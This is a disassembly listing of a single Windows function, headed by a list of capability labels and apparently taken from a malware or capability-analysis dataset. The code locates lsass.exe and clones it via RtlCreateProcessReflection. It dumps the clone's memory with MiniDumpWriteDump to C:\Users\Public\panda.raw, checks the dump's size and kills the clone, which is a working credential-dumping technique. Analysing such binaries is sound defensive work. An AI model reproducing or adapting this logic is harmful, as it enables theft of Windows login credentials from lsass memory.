Function at 0x140001cf0
Capabilities:
Create process memory minidump
Enumerate processes
Terminate process
Write file on windows

Disassembly:
mov qword [rsp + 8], rbx
mov qword [rsp + 0x10], rsi
mov qword [rsp + 0x18], rdi
push rbp
lea rbp, [rsp - 0x210]
sub rsp, 0x310
mov rax, qword [0x14000b008]
xor rax, rsp
mov qword [rbp + 0x200], rax
xor esi, esi
xor edx, edx
mov dword [rsp + 0x70], esi
mov edi, esi
lea ecx, [rsi + 2]
call qword [sym.imp.KERNEL32.dll_CreateToolhelp32Snapshot]
mov rbx, rax
cmp rax, 0xffffffffffffffff
je 0x140001d94
lea rdx, [rbp - 0x40]
mov dword [rbp - 0x40], 0x238
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_Process32FirstW]
mov rcx, rbx
test eax, eax
je 0x140001d8e
lea rdx, [rbp - 0x40]
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
je 0x140001dcd
lea rdx, [rbp - 0x14]
lea rcx, str.lsass.exe
call qword [sym.imp.KERNEL32.dll_lstrcmpiW]
test eax, eax
je 0x140001dca
lea rdx, [rbp - 0x40]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_Process32NextW]
test eax, eax
jne 0x140001d65
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
lea rcx, str.Could_not_find_lsass.exe_PID__n
call fcn.140001100
xor al, al
mov rcx, qword [rbp + 0x200]
xor rcx, rsp
call fcn.1400055d0
lea r11, [rsp + 0x310]
mov rbx, qword [r11 + 0x10]
mov rsi, qword [r11 + 0x18]
mov rdi, qword [r11 + 0x20]
mov rsp, r11
pop rbp
ret
mov edi, dword [rbp - 0x38]
mov rcx, rbx
call qword [sym.imp.KERNEL32.dll_CloseHandle]
test edi, edi
je 0x140001d94
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Lsass_PID:
call fcn.140001a70
mov rcx, rax
mov edx, edi
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
call fcn.140001320
mov r8d, edi
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rbx, rax
test rax, rax
jne 0x140001e31
lea rcx, str.Could_not_open_a_handle_to_lsass.exe__n
jmp 0x140001d9b
lea rcx, str.Got_a_handle_to_lsass.exe_succesfuly__n
call fcn.140001100
lea rcx, [0x1400078d0]
call qword [sym.imp.KERNEL32.dll_LoadLibraryA]
test rax, rax
jne 0x140001e5b
lea rcx, str.Could_not_load_ntdll.dll__n
jmp 0x140001d9b
lea rdx, str.RtlCreateProcessReflection
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_GetProcAddress]
test rax, rax
jne 0x140001e7c
lea rcx, str.Could_not_find_RtlCreateProcessReflection_in_ntdll.dll__n
jmp 0x140001d9b
xorps xmm0, xmm0
lea rcx, [rsp + 0x50]
mov qword [rsp + 0x28], rcx
xor r9d, r9d
xor r8d, r8d
mov qword [rsp + 0x20], rsi
mov rcx, rbx
movups xmmword [rsp + 0x50], xmm0
lea edx, [r9 + 2]
movups xmmword [rsp + 0x60], xmm0
call rax
test eax, eax
jne 0x140002169
mov ebx, dword [rsp + 0x60]
lea rcx, str.Succesfully_Mirrored_to_lsass.exe__n
call fcn.140001100
mov rcx, qword [sym.imp.MSVCP140.dll_class_std::basic_ostream_char__struct_std::char_traits_char___std::cout]
lea rdx, str.Lsass_PID:
call fcn.140001a70
mov rcx, rax
mov edx, ebx
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___unsigned_long_int____ptr64]
mov rcx, rax
lea rdx, [0x140001c40]
call qword [sym.imp.MSVCP140.dll_public:_class_std::basic_ostream_char__struct_std::char_traits_char______ptr64___cdecl_std::basic_ostream_char__struct_std::char_traits_char__::operator___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64____cdecl___class_std::basic_ostream_char__struct_std::char_traits_char______ptr64_____ptr64]
mov r8d, ebx
xor edx, edx
mov ecx, 0x1fffff
call qword [sym.imp.KERNEL32.dll_OpenProcess]
mov rdi, rax
test rax, rax
je 0x140001e25
lea rcx, str.Got_a_handle_of_Mirrored_lsass.exe_succesfully__n
call fcn.140001100
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rax, [0x140001c80]
mov qword [rsp + 0x48], rsi
mov qword [rsp + 0x40], rax
mov r9d, 2
lea rax, [rsp + 0x40]
xor r8d, r8d
mov qword [rsp + 0x30], rax
mov edx, ebx
mov qword [rsp + 0x28], rsi
mov rcx, rdi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.dbghelp.dll_MiniDumpWriteDump]
test eax, eax
jne 0x140001f69
lea rcx, str.Failed_to_create_a_dump_of_the_forked_process__n
jmp 0x140001d9b
lea rcx, str.Successfully_created_dump_of_the_forked_process__n
call fcn.140001100
mov r8d, 0x19
mov qword [rsp + 0x78], rsi
lea rdx, str.C:UsersPublicpanda.raw
mov qword [rbp - 0x78], rsi
lea rcx, [rsp + 0x78]
mov qword [rbp - 0x70], 0xf
call fcn.1400018e0
cmp qword [rbp - 0x70], 0x10
lea rcx, [rsp + 0x78]
mov qword [rsp + 0x30], rsi
mov edx, 0x10000000
cmovae rcx, qword [rsp + 0x78]
xor r9d, r9d
xor r8d, r8d
mov dword [rsp + 0x28], 0x80
mov dword [rsp + 0x20], 2
call qword [sym.imp.KERNEL32.dll_CreateFileA]
mov rdi, rax
cmp rax, 0xffffffffffffffff
jne 0x140001fe8
lea rcx, str.Failed_to_create_dump_file__n
jmp 0x14000211c
lea rcx, str.Successfully_initialized_dump_file__n
call fcn.140001100
mov r8d, dword [0x14000b72c]
lea r9, [rsp + 0x70]
mov rdx, qword [0x14000b720]
mov rcx, rdi
mov qword [rsp + 0x20], rsi
call qword [sym.imp.KERNEL32.dll_WriteFile]
test eax, eax
je 0x140002115
lea rcx, str.Successfully_dumped_lsass_process__n
call fcn.140001100
mov ecx, 0x1388
call qword [sym.imp.KERNEL32.dll_Sleep]
lea rcx, str.Checking_if_file_exists_and_greater_than_5MBs__n
call fcn.140001100
cmp qword [rbp - 0x70], 0x10
lea rcx, [rsp + 0x78]
lea r8, [rbp - 0x68]
cmovae rcx, qword [rsp + 0x78]
xor edx, edx
call qword [sym.imp.KERNEL32.dll_GetFileAttributesExA]
test eax, eax
jne 0x14000206c
lea rcx, str.Failed_to_get_file_attributes
jmp 0x14000211c
cmp dword [rbp - 0x4c], esi
jne 0x140002086
cmp dword [rbp - 0x48], 0x500000
jae 0x140002086
lea rcx, str.File_size_is_less_than_5MBs__n
jmp 0x14000211c
lea rcx, str.File_exists_and_size_is_greater_than_5MBs__n
call fcn.140001100
xor edx, edx
mov r8d, ebx
lea ecx, [rdx + 1]
call qword [sym.imp.KERNEL32.dll_OpenProcess]
test rax, rax
jne 0x1400020ae
lea rcx, str.Failed_to_open_new_lsass.exe_process__n
jmp 0x14000211c
xor edx, edx
mov rcx, rax
call qword [sym.imp.KERNEL32.dll_TerminateProcess]
test eax, eax
jne 0x1400020c6
lea rcx, str.Failed_to_terminate_new_lsass.exe_process__n
jmp 0x14000211c
lea rcx, str.New_lsass.exe_process_terminated__n
call fcn.140001100
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x140002175
mov rcx, qword [rsp + 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x140002109
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
ja 0x140002158
call fcn.14000562c
mov al, 1
jmp 0x140001da2
lea rcx, str.Failed_to_write_dump_to_disk__n
call fcn.140001100
mov rdx, qword [rbp - 0x70]
cmp rdx, 0x10
jb 0x140001da0
mov rcx, qword [rsp + 0x78]
inc rdx
mov rax, rcx
cmp rdx, 0x1000
jb 0x14000215f
mov rcx, qword [rcx - 8]
add rdx, 0x27
sub rax, rcx
add rax, 0xfffffffffffffff8
cmp rax, 0x1f
jbe 0x14000215f
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll__invalid_parameter_noinfo_noreturn]
int3
call fcn.14000562c
jmp 0x140001da0
lea rcx, str.Could_not_mirror_to_lsass.exe__n
call fcn.140001100
mov al, 1
jmp 0x140001da2